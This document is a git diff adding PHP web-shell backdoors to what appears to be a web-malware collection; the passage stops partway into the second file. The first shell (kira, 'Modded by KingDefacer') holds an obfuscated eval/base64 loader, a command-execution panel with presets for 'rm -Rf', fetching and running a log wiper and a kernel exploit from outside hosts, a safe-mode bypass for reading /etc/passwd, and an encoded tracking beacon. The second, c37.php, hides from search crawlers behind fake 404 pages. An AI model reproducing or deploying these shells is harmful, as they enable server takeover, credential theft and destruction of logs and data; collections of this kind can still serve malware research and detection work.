cpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ kira v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> KingDefacer @ msn. com| <a href="http://alturks.com"><font color="#FF0000">alturks Team</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); KingDefacerexit(); ?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c37.php b/web-malware-collection-master/Backdoors/PHP/c37.php new file mode 100755 index 0000000..fbfc1e5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c37.php @@ -0,0 +1,2151 @@ +<?php +/* Version 1.1 */ +if (!ob_start('ob_gzhandler')) ob_start(); +$Fuckers = array('bot','spider','archive','crawl','robot','search','seek','cache'); +$UA = strtolower($_SERVER['HTTP_USER_AGENT']); +foreach ($Fuckers AS $BOT) { + if (strpos($UA,$BOT) !== FALSE) { + if (strpos($_SERVER['SERVER_SOFTWARE'], 'mod_fastcgi') === FALSE || strpos($_SERVER["SERVER_SOFTWARE"], 'mod_fcgi') === FALSE) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); } + else { header('Status: 404 Not Found'); } + echo ' +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>404 Not Found</title> +</head><body> +<h1>Not Found</h1> +<p>The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.</p> +</body></html> '; + die; + } +} + +$Auth = FALSE; +if ($Auth !== FALSE) { + session_start(); + $NoPASS = TRUE; + if (!empty($_SESSION['SLOGIN'])) { + if ($_SESSION['SLOGIN'] === $Password) { $NoPASS = FALSE; } + } + if (isset($_POST['pass'])) { + $ShaPass = sha1(md5($_POST['pass'])); + if ($ShaPass === $Password) { $_SESSION['SLOGIN'] = $ShaPass; $NoPASS = FALSE; } + else { $WrongPass = TRUE; } + } + if ($NoPASS) { + echo + '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> + <head> + <title>Log in</title> + </head> + <body style="background-color:black;color:white;"> + <form action="" method="post" style="text-align:center;">'; + if (isset($WrongPass)) { echo '<span style="color:red;">Wrong password, please try again.</span><br /><br />'; } + echo 'Please enter the password: <input type="text" id="pass" name="pass" /> <input type="submit" value="Enter" /> + </form> + </body> + </html>'; + die; + } +} + +$IsAction = isset($_REQUEST['action']); +if ($IsAction && $_GET['action'] === 'img') { + header('Expires: '.date('D, d M Y H:i:s',time()+86400).' GMT'); + header('Cache-Control: public'); + header('Last modified: ' . date ('D, d M Y H:i:s', getlastmod()) . ' GMT'); + if (isset($_REQUEST['image'])) { + if ($_REQUEST['image'] === 'backb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMjhZq3UDXu24e30L5PLSYivAGeY////Be3CegAAAAh0Uk5T/////////wDeg71ZAAAAiElEQVR42mzQ2wrDMAwDUMmO0v//4/nWLIPppXCwTSM8f4L+UIhQN8qZCIcOgplmDWJFbg3UMrPQWC5lIqxCd9SwAnVZ3YiFB/s1q8uEEveYtQ5uc/c6Ujq41ZOp6+Ctua7CzVfN45eIX12qF53ZGkS/ndbapmmJOgp9+0Sx8eozmVn8NP8RYAC3HQXzIa0m6wAAAABJRU5ErkJggg=='); } + elseif ($_REQUEST['image'] === 'forwardb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMfgBnCmZazV7fT5HIbBzOLvSYqy////TGVm9QAAAAh0Uk5T/////////wDeg71ZAAAAiklEQVR42mzQQQ7EMAgDQAOG/P/HC4S0jbRcKo0IBWP9KeyPBrI0vhjmjUA8iE1VrbgsgqWJ0eauSlIEWmjd5u5twkiMmVYqVflwzTQytTHXW8dSrZUbmyhqhgfHaJ9O3tYzT99MzL/nSuq3SfRFUfvhGPbtSnlrbq80Lzt5YrN+8izWCn6S/wkwAOuyBcSEKJ+VAAAAAElFTkSuQmCC'); } + elseif ($_REQUEST['image'] === 'c37') { header('Content-Type: image/png'); echo base64_decode('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'); } + header('Content-Type: image/gif'); + if ($_REQUEST['image'] === 'dir') { echo base64_decode('R0lGODlhEQAOALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAARAA4AAARIEMlJaxUYA0vFKQVBCBsnDGg6ZNkkgHAMEkP5inhOGLV067tgD/EDGnbDoujIpNlCuibviZPupr6ClWnAElVgVQkBKJvPZ0QEADs='); } + elseif ($_GET['image'] === 'link') { echo base64_decode('R0lGODlhFAAVALMMADZITbzFye73/Nng5dPa3/j7/WNwdJ6preXt8n+Lj9/n7Ojy+AAAAAAAAAAAAAAAACH5BAEAAAwALAAAAAAUABUAAAS+kMlJyRKEam2XX8hGDcolFIIALpmmqCcbHEkgIIqmXkFiAEDAoaBAtBiIjyARDCYECsVAEvjwAAnfz3CLZkofRBKR9QEGuMG0A0oqDvCAwWBTKwJIsXhxMBwIBUxDagMZFntyfigBAQgFBIUZB2IlB0ADREULkQQZCQQ4CgQ1BQiEnah4CQcLUUU3aqiyCRKfUYSxsgM9E6tSp52xM3MUqwS/wjRzxL1ZB4wzWssGGmVl08siDNbY1Nq1PlrfEQA7'); } + elseif ($_REQUEST['image'] === 'down') { echo base64_decode('R0lGODlhFAAUAOYAAP//////AP8A//8AAAD//wD/AAAA/wAAAMK/ya6ruLCtwdHO4by6yqimu9TT5GBgb3V1hdfX5qystq6ut6qqr8bGy9DQ09ze8bu8xrCxuszO3t3f7KmrtKyutpecr8HG2JiesKyzxoiNm7O3w77G2cXN4Kmvvt3i7qauwL3ByrO7y5uhrd7k8JKYo8PK17bA0J+msqyzv7nE1dje59Ta48vV47vI2KOtudHa5b7L2sLO3Nnh6t/m7tPe6drj7Nfg6dzk7Nzj6uXr8drk7L/Izpmvsdja2omjocnd2Hedh4ysl5a9n6zQsl2wY5HQli2sMCmJLGakZwKzAgOVBArMChKOEzbNNlHeUGDgYEyqTUabR2XNZYvii6zrrOL64vP/83zee8Tyw+np6f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAUABQAAAf/gGOCg0ZRWYdaWkuDjI1MYQBfkl5RjZZjj19em5SXghYjDEpdYV2mXVEIDBiWJjk3S1xdXLRgTUQuKBWMYjdMTE5cYFhbxVlaUEcIjEEoj11gV1bTT09TVUWshCE5wVhWVFJSU9dMJR2MRigkME1XVOHjVUoLJByMFigvICtN8OLzFBApAQNfCBsyPsB4Em6KEg0aaNRYgU9FiRo1NKTI8mSJgx87ZkxkVEFGCSA4cJyggYTFDiBCdvSgOCiFDhs1ePDYcYIFDyExcfQoOAhDDhQ2dODYoXNnShU6bjDCwEJoj6s7fAwBAiQIDR4jGGUw0aKsWbMrYoRQQVNQDBEPLh5AmCsXwgMRIZIU8cAohYsVDDQ4iDCY8IYLTpA0SJchw4THkB9L4JBAAgVBgQAAOw=='); } + die; + } + else { + header('Content-Type: image/gif'); + $_GET['ext'] = substr($_GET['ext'], 1); + $UnKnown = 'R0lGODlhEAAQANUAAAAAAP////7+/f39/Pz8+/v7+vr6+fn5+Pj49/38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8fj29vf19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAACH5BAEAADoALAAAAAAQABAAAAacQJ1ORSwWV8LkcEMYDAQCggD1UupWBaYTKkidqkmWIdt8ClwwmCvZYhg4ijK0ZFoLXQ03vGyGJWEODQcdexp9STEggYMcBQSGAjFJMiEPix0LjgkDMkkzFZUOCB6YjgQzSTQWIhCWH6SZGzRJNRerrROvbgU1STYktqwUILoGNkk3GBK2ERDDH3k3STgZyhcjzc8NOEk53t/g3zpBADs='; + if ($_GET['ext'] === '') { echo base64_decode($UnKnown); die; } + $ImgArray = array( + 